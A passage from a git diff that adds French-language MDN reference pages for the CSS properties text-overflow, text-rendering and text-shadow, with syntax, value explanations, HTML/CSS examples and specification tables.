+ <dt><code>sideways-right</code></dt>
+ <dd>Un alias pour <code>sideways</code> conservé pour des raisons de compatibilité.</dd>
+ <dt><code>use-glyph-orientation</code></dt>
+ <dd>Pour les éléments SVG, ce mot-clé permet d'utiliser la valeur des propriétés SVG dépréciées <code>glyph-orientation-vertical</code> et <code>glyph-orientation-horizontal</code>.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="monTexte"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit&lt;/p&gt;</pre>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">.monTexte {
+  writing-mode: vertical-rl;
+  text-orientation: sideways;
+}
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample("Exemples","100%",200)}}</p>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Writing Modes', '#text-orientation', 'text-orientation')}}</td>
+   <td>{{Spec2('CSS3 Writing Modes')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-orientation")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("writing-mode")}}</li>
+ <li>{{cssxref("text-combine-upright")}}</li>
+ <li>{{cssxref("unicode-bidi")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-overflow/index.html b/files/fr/web/css/text-overflow/index.html
new file mode 100644
index 0000000000..cd18e2e925
--- /dev/null
+++ b/files/fr/web/css/text-overflow/index.html
@@ -0,0 +1,343 @@
+---
+title: text-overflow
+slug: Web/CSS/text-overflow
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-overflow
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-overflow</code></strong> définit la façon dont le contenu textuel qui dépasse d'une boîte est signalé pour les utilisateurs. Le texte peut être rogné (<em>clipping</em>), afficher une ellipse ('<code>…</code>', <code style="text-transform: uppercase;">U+2026 Horizontal Ellipsis</code>) ou afficher une chaîne de caractères choisie.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-overflow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<p>Le rognage se fera à la bordure de la boîte. Afin que le rognage se fasse plus tôt, à la limite des caractères, on peut utiliser la chaîne vide (<code>''</code>).</p>
+
+<p>Cette propriété n'affecte que le contenu qui dépasse de la boîte englobante dans le sens de la progression en ligne. Par exemple, on ne parle pas ici du texte qui dépasserait vers le bas d'une boîte. Le texte peut dépasser lorsqu'on empêche le retour automatique à la ligne (par exemple avec <code class="css">white-space: nowrap</code>) ou lorsqu'un seul mot est trop long pour tenir dans le conteneur.</p>
+
+<p>Cette  propriété CSS ne force pas le dépassement. Pour ce faire et afin que <code>text-overflow</code> soit appliqué, l'auteur devra ajouter des propriétés supplémentaires sur l'élément, notamment : {{cssxref("overflow")}} avec <code>hidden</code> et {{cssxref("white-space")}} avec <code>nowrap</code>.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush: css no-line-numbers">/* On gère le dépassement en fin de ligne
+    - à droite en LTR,
+    - à gauche en RTL */
+text-overflow: clip;
+text-overflow: ellipsis;
+text-overflow: "…";
+text-overflow: fade;
+text-overflow: fade(10px);
+text-overflow: fade(5%);
+
+/* On gère le dépassement au début et
+   à la fin de la ligne. La directionnalité
+   n'a pas d'importance */
+text-overflow: clip ellipsis;
+text-overflow: "…" "…";
+text-overflow: fade clip;
+text-overflow: fade(10px) fade(10px);
+text-overflow: fade(5%) fade(5%);
+
+/* Valeurs globales */
+text-overflow: inherit;
+text-overflow: initial;
+text-overflow: unset;
+</pre>
+
+<p>La propriété <code>text-overflow</code> peut être définie grâce à une ou deux valeurs.</p>
+
+<p>Si une valeur est fournie, celle-ci indique le comportement du dépassement en fin de ligne (c'est-à-dire l'extrêmité droite pour les textes écrits de gauche à droite et l'extrêmité gauche pour les textes écrits de droite à gauche). Si deux valeurs sont fournies, la première précisera la comportement pour le dépassement à l'extrêmité gauche de la ligne et la seconde indiquera le comportement du dépassement pour l'extrêmité droite de la ligne.</p>
+
+<p>Chacune des valeurs se compose :</p>
+
+<ul>
+ <li>D'un des mots-clés : <code><a href="#clip">clip</a></code>, <code><a href="#ellipsis">ellipsis</a></code>, <code><a href="#fade">fade</a></code></li>
+ <li>De la fonction <code><a href="#fade_fun">fade()</a></code> à laquelle on passe une valeur de type {{cssxref("&lt;length&gt;")}} ou {{cssxref("&lt;percentage&gt;")}} qui permet de contrôler la distance d'effacement</li>
+ <li>D'<a href="#string">une chaîne de caractères <code>&lt;string&gt;</code></a>.</li>
+</ul>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><a id="clip" name="clip"><code>clip</code></a></dt>
+ <dd>La valeur par défaut de cette propriété. Ce mot-clé indique qu'on tronque le texte à la limite de <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">la boîte de contenu</a>. La troncature peut donc arriver sur le milieu d'un caractère. Pour que celle-ci soit appliquée entre deux caractères, on devra utiliser la chaîne vide (<code>''</code>) comme valeur pour cette propriété.</dd>
+ <dt><a id="ellipsis" name="ellipsis"><code>ellipsis</code></a></dt>
+ <dd>Ce mot-clé indique qu'on affiche une ellipse (<code>'…'</code>, <code style="text-transform: uppercase;">U+2026 Horizontal Ellipsis</code>) pour représenter le texte rogné. L'ellipse est affichée à l'intérieur de <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">la boîte de contenu</a> et réduit donc la quantité de texte affichée. S'il n'y a pas assez de place pour afficher l'ellipse, celle-ci est rognée.</dd>
+ <dt><a id="fade" name="fade"><code>fade</code></a> {{experimental_inline}}</dt>
+ <dd>Ce mot-clé indique que le contenu qui dépasse est rogné avec un effet de dégradé en transparence. Au bout de la boîte, le contenu est totalement transparent.</dd>
+ <dt><a id="fade_fun" name="fade_fun"><code>fade( &lt;length&gt; | &lt;percentage&gt; )</code></a> {{experimental_inline}}</dt>
+ <dd>Cette fonction permet de rogner le contenu qui dépasse et d'appliquer un effet de dégradé en transparence. Au bout de la boîte, on a une transparence totale.<br>
+ L'argument passé à la fonction détermine la distance sur laquelle cet effet est appliqué. La valeur en pourcentage est relative à la largeur de la boîte. Les valeurs inférieures à <code>0</code> sont ramenées à <code>0</code>. Les valeurs supérieures à la largeur de la boîte sont écrétées à la largeur de la boîte.</dd>
+ <dt><a id="string" name="string"><code>&lt;string&gt;</code></a> {{experimental_inline}}</dt>
+ <dd>Une chaîne de caractères (type {{cssxref("&lt;string&gt;")}}) utilisée pour représentée le texte rogné. La chaîne est affichée à l'intérieur de <a href="/fr/Apprendre/CSS/Les_bases/Le_modèle_de_boîte">la boîte de contenu</a> et réduit donc la quantité de texte affichée. S'il n'y a pas assez de place pour afficher la chaîne choisie, celle-ci est rognée.</dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="CSS">CSS</h3>
+
+<pre class="brush: css">p {
+  width: 200px;
+  border: 1px solid;
+  padding: 2px 5px;
+
+  /* Nécessaires pour text-overflow */
+  white-space: nowrap;
+  overflow: hidden;
+}
+
+.overflow-visible {
+  white-space: initial;
+}
+
+.overflow-clip {
+  text-overflow: clip;
+}
+
+.overflow-ellipsis {
+  text-overflow: ellipsis;
+}
+
+.overflow-string {
+  /* Cette forme n'est pas prise en charge
+    par la plupart des navigateurs. cf. la
+    section Compatibilité ci-après */
+  text-overflow: " [..]";
+}
+</pre>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;p class="overflow-visible"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;
+
+&lt;p class="overflow-clip"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;
+
+&lt;p class="overflow-ellipsis"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;
+
+&lt;p class="overflow-string"&gt;Lorem ipsum dolor sit amet, consectetur adipisicing elit.&lt;/p&gt;
+</pre>
+
+<h3 id="Résultat">Résultat</h3>
+
+<p>{{EmbedLiveSample('Exemples', 300, 220, '', 'Web/CSS/text-overflow')}}</p>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th colspan="1" rowspan="2" scope="col">Valeur CSS</th>
+   <th colspan="2" rowspan="1" scope="col" style="text-align: center;"><code>direction: ltr</code></th>
+   <th colspan="2" rowspan="1" scope="col" style="text-align: center;"><code>direction: rtl</code></th>
+  </tr>
+  <tr>
+   <th scope="col">Résultat attendu</th>
+   <th scope="col">Résultat du navigateur</th>
+   <th scope="col">Résultat attendu</th>
+   <th scope="col">Résultat du navigateur</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>overflow:visible</code></td>
+   <td style="font-family: monospace;">1234567890</td>
+   <td style="direction: ltr;">
+    <div style="float: left; font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: visible;"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">0987654321</td>
+   <td>
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: visible;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: clip</code></td>
+   <td style="padding: 1px; font-family: monospace;"><img alt="t-o_clip.png" class="default internal" src="/@api/deki/files/6056/=t-o_clip.png"></td>
+   <td style="direction: ltr;">
+    <div style="float: left; font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip;">123456</div>
+   </td>
+   <td style="padding: 1px; font-family: monospace;"><img alt="t-o_clip_rtl.png" class="default internal" src="/@api/deki/files/6057/=t-o_clip_rtl.png"></td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ''</code></td>
+   <td style="font-family: monospace;">12345</td>
+   <td style="direction: ltr;">
+    <div style="float: left; font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: '';">123456</div>
+   </td>
+   <td style="font-family: monospace;">54321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: '';"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ellipsis</code></td>
+   <td style="font-family: monospace;">1234…</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis;"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">…4321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: '.'</code></td>
+   <td style="font-family: monospace;">1234.</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: '.';"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">.4321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: '.';"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: clip clip</code></td>
+   <td style="font-family: monospace;">123456</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip clip;"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">654321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip clip;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: clip ellipsis</code></td>
+   <td style="font-family: monospace;">1234…</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip ellipsis;"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">6543…</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip ellipsis;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: clip '.'</code></td>
+   <td style="font-family: monospace;">1234.</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip '.';"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">6543.</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: clip '.';"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ellipsis clip</code></td>
+   <td style="font-family: monospace;">…3456</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis clip;"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">…4321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis clip;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ellipsis ellipsis</code></td>
+   <td style="font-family: monospace;">…34…</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis ellipsis;"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">…43…</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis ellipsis;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ellipsis '.'</code></td>
+   <td style="font-family: monospace;">…34.</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis '.';"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">…43.</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ellipsis '.';"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ',' clip</code></td>
+   <td style="font-family: monospace;">,3456</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ',' clip;"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">,4321</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ',' clip;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ',' ellipsis</code></td>
+   <td style="font-family: monospace;">,34…</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ','ellipsis;"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">,43…</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ','ellipsis;"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+  <tr>
+   <td><code>text-overflow: ',' '.'</code></td>
+   <td style="font-family: monospace;">,34.</td>
+   <td style="direction: ltr;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ',' '.';"><span style="direction: ltr; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+   <td style="font-family: monospace;">,43.</td>
+   <td style="direction: rtl;">
+    <div style="font-family: monospace; white-space: nowrap; max-width: 3.35em; overflow: hidden; text-overflow: ',' '.';"><span style="direction: rtl; margin: 0 -2px; unicode-bidi: bidi-override;">1234567890</span></div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS4 UI', '#text-overflow', 'text-overflow')}}</td>
+   <td>{{Spec2('CSS4 UI')}}</td>
+   <td>Ajout des valeurs <code>&lt;string&gt;</code> et <code>fade</code> et de la fonction <code>fade()</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSS3 Overflow', '#text-overflow', 'text-overflow')}}</td>
+   <td>{{Spec2('CSS3 Overflow')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Une version précédente de cette interface avait atteint le statut de <em>Candidate Recommendation</em>. Certaines fonctionnalités devaient être retirées et n'étaient pas listées parmi les fonctionnalités à risque, la spécification a donc été déchue au niveau <em>Working Draft</em>. Cela explique pourquoi les navigateurs ont implémenté cette propriété sans préfixe bien qu'elle ne soit pas une CR.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-overflow")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{cssxref("overflow")}}</li>
+ <li>{{cssxref("white-space")}}</li>
+</ul>
diff --git a/files/fr/web/css/text-rendering/index.html b/files/fr/web/css/text-rendering/index.html
new file mode 100644
index 0000000000..94c1706c49
--- /dev/null
+++ b/files/fr/web/css/text-rendering/index.html
@@ -0,0 +1,132 @@
+---
+title: text-rendering
+slug: Web/CSS/text-rendering
+tags:
+  - CSS
+  - Propriété
+  - Reference
+  - SVG
+translation_of: Web/CSS/text-rendering
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-rendering</code></strong> donne de l'information au moteur de rendu sur ce qu'il doit optimiser lors de l'affichage du texte.</p>
+
+<p>Le navigateur fait des compromis entre la vitesse, la lisibilité et la précision géométrique.</p>
+
+<pre class="brush:css no-line-numbers">/* Avec un mot-clé */
+text-rendering: auto;
+text-rendering: optimizeSpeed;
+text-rendering: optimizeLegibility;
+text-rendering: geometricPrecision;
+
+/* Valeurs globales */
+text-rendering: inherit;
+text-rendering: initial;
+text-rendering: unset;
+</pre>
+
+<div class="note">
+<p><strong>Note :</strong> La propriété <code>text-rendering</code> est une propriété SVG qui n'est définie dans aucun standard CSS. Toutefois, les navigateurs utilisant Gecko et WebKit permettent d'appliquer cette propriété à du contenu HTML ou XML sur Windows, Mac OS X et Linux.</p>
+</div>
+
+<p>Un effet très visible est : <code>text-rendering : optimizeLegibility;</code> qui active les ligatures (ff, fi, fl etc.) dans les textes en dessous de 20px pour certains polices (par exemple, <em>Calibri, Candara, Constantia </em>et <em>Corbel</em> de Microsoft, ou la famille <em>DejaVu</em>).</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt><code>auto</code></dt>
+ <dd>Le navigateur fait un choix éclairé sur la manière d'optimiser la vitesse, lisibilité et la précision géométrique lors de l'affichage du texte. Pour en savoir plus sur la manière dont est supportée cette valeur, reportez-vous au tableau de compatibilité.</dd>
+ <dt><code>optimizeSpeed</code></dt>
+ <dd>Le navigateur privilégie la vitesse de rendu par rapport à la lisibilité et la précision géométrique lors de l'affichage du texte. Cela désactive les ligatures et le crénage.</dd>
+ <dt><code>optimizeLegibility</code></dt>
+ <dd>Le navigateur privilégie la lisibilité par rapport à la vitesse de rendu ou la précision géométrique. Ceci active le crénage et les ligatures.</dd>
+ <dt><code>geometricPrecision</code></dt>
+ <dd>
+ <p>Le navigateur privilégie la précision géométrique par rapport à la vitesse de rendu et la lisibilité. Certains aspects d'une police — comme le crénage — ne se mettent pas à l'échelle de manière linéaire, donc <code>geometricPrecision</code> peut rendre agréables à l'œil les textes utilisant ces polices.</p>
+
+ <p>Avec SVG, lorsque le texte est agrandi ou réduit, le navigateur calcule la taille finale du texte (qui est la taille de police définie et le facteur appliqué) et demande une police de cette taille calculée au système de police de la plateforme. Mais si vous demandez une police de taille 9 avec un facteur de 140 %, la taille résultante de 12,6 n'existe pas dans la système de polices, donc le navigateur arrondi la taille de police à 12 dans ce cas. Ce qui aboutit à une mise à l'échelle en escalier du texte.</p>
+
+ <p>Toutefois la propriété <code>geometricPrecision</code> — lorsqu'elle est complètement supportée par le moteur de rendu — permet de mettre à l'échelle le texte de manière continue. Pour les facteurs de mise à l'échelle élevés, il est possible d'obtenir un rendu de texte moins-que-joli, mais de la taille que vous attendez — et pas arrondi à la taille supportée par Windows ou Linux la plus proche.</p>
+
+ <p>WebKit applique précisément la valeur définie, mais Gecko traite la valeur de la même manière que <code>optimizeLegibility</code>.</p>
+ </dd>
+</dl>
+
+<h3 id="Syntaxe_formelle">Syntaxe formelle</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Application_automatique_de_optimizeLegibility">Application automatique de <code>optimizeLegibility</code></h3>
+
+<p>Cet exemple illustre comment <code>optimizeLegibility</code> est automatiquement utilisé par les navigateurs lorsque <code>font-size</code> est inférieure à <code>20px</code>.</p>
+
+<h4 id="CSS">CSS</h4>
+
+<pre class="brush: css">.small { font: 19.9px "Times New Roman", "Georgia", "Palatino", serif; }
+.big   { font: 20px "Times New Roman", "Georgia", "Palatino", serif; }</pre>
+
+<h4 id="HTML">HTML</h4>
+
+<pre class="brush: html">&lt;p class="small"&gt;LYoWAT - ff fi fl ffl&lt;/p&gt;
+&lt;p class="big"&gt;LYoWAT - ff fi fl ffl&lt;/p&gt;</pre>
+
+<h4 id="Résultat">Résultat</h4>
+
+<p>{{EmbedLiveSample('Application_automatique_de_optimizeLegibility')}}</p>
+
+<h3 id="optimizeSpeed_et_optimizeLegibility"><code>optimizeSpeed</code> et <code>optimizeLegibility</code></h3>
+
+<p>Cet exemple illustre la différence d'apparence entre <code>optimizeSpeed</code> et <code>optimizeLegibility</code> (cette différence peut varier d'un navigateur à l'autre).</p>
+
+<h4 id="CSS_2">CSS</h4>
+
+<pre class="brush: css">p { font: 1.5em "Times New Roman", "Georgia", "Palatino", serif }
+
+.speed       { text-rendering: optimizeSpeed; }
+.legibility  { text-rendering: optimizeLegibility; }</pre>
+
+<h4 id="HTML_2">HTML</h4>
+
+<pre class="brush: html">&lt;p class="speed"&gt;LYoWAT - ff fi fl ffl&lt;/p&gt;
+&lt;p class="legibility"&gt;LYoWAT - ff fi fl ffl&lt;/p&gt;</pre>
+
+<h4 id="Résultat_2">Résultat</h4>
+
+<p>{{EmbedLiveSample('optimizeSpeed_et_optimizeLegibility')}}</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('SVG2', 'painting.html#TextRenderingProperty', 'text-rendering')}}</td>
+   <td>{{Spec2('SVG2')}}</td>
+   <td>Aucune modification.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('SVG1.1', 'painting.html#TextRenderingProperty', 'text-rendering')}}</td>
+   <td>{{Spec2('SVG1.1')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("css.properties.text-rendering")}}</p>
diff --git a/files/fr/web/css/text-shadow/index.html b/files/fr/web/css/text-shadow/index.html
new file mode 100644
index 0000000000..af5d743c79
--- /dev/null
+++ b/files/fr/web/css/text-shadow/index.html
@@ -0,0 +1,142 @@
+---
+title: text-shadow
+slug: Web/CSS/text-shadow
+tags:
+  - CSS
+  - Propriété
+  - Reference
+translation_of: Web/CSS/text-shadow
+---
+<div>{{CSSRef}}</div>
+
+<p>La propriété <strong><code>text-shadow</code></strong> ajoute des ombres au texte. Elle accepte une liste d'ombres à appliquer au texte et aux <a href="/fr/docs/Web/CSS/text-decoration">décorations</a> de l'élément. Chaque ombre est décrite par une certaine combinaison de décalages X et Y de l'élément, de rayon de flou et de couleur.</p>
+
+<div>{{EmbedInteractiveExample("pages/css/text-shadow.html")}}</div>
+
+<p class="hidden">Le code source de cet exemple interactif est disponible dans un dépôt GitHub. Si vous souhaitez contribuez à ces exemples, n'hésitez pas à cloner <a href="https://github.com/mdn/interactive-examples">https://github.com/mdn/interactive-examples</a> et à envoyer une <em>pull request</em> !</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="brush:css no-line-numbers">/* offset-x | offset-y | blur-radius | color */
+text-shadow: 1px 1px 2px black;
+
+/* color | offset-x | offset-y | blur-radius */
+text-shadow: #fc0 1px 0 10px;
+
+/* offset-x | offset-y | color */
+text-shadow: 5px 5px #558abb;
+
+/* color | offset-x | offset-y */
+text-shadow: white 2px 5px;
+
+/* offset-x | offset-y
+/* Utiliser les défauts pour la couleur et le rayon de flou */
+text-shadow: 5px 10px;
+
+/* Valeurs globales */
+text-shadow: inherit;
+text-shadow: initial;
+text-shadow: unset;
+</pre>
+
+<p>Cette propriété est spécifiée comme une liste d'ombres séparées par des virgules.</p>
+
+<p>Chaque ombre est spécifiée par deux ou trois valeurs <code>&lt;length&gt;</code>, suivies d'une valeur <code>&lt;color&gt;</code>. Les deux premières valeurs <code>&lt;length&gt;</code> sont les valeurs <code>&lt;decalage-x&gt;</code> et <code>&lt;decalage-y&gt;</code>. La troisième valeur <code>&lt;length&gt;</code>, facultative, est le <code>&lt;rayon-de-flou&gt;</code>. La valeur <code>&lt;color&gt;</code> est la couleur de l'ombre.</p>
+
+<p>Lorsque plus d'une ombre est indiquée, les ombres sont appliquées d'avant en arrière, avec la première ombre spécifiée sur le dessus.</p>
+
+<p>Cette propriété s'applique aux deux <a href="/fr/docs/Web/CSS/Pseudo-éléments">pseudo-éléments</a> {{cssxref("::first-line")}} et {{cssxref("::first-letter")}}.</p>
+
+<h3 id="Valeurs">Valeurs</h3>
+
+<dl>
+ <dt>{{cssxref("&lt;color&gt;")}}</dt>
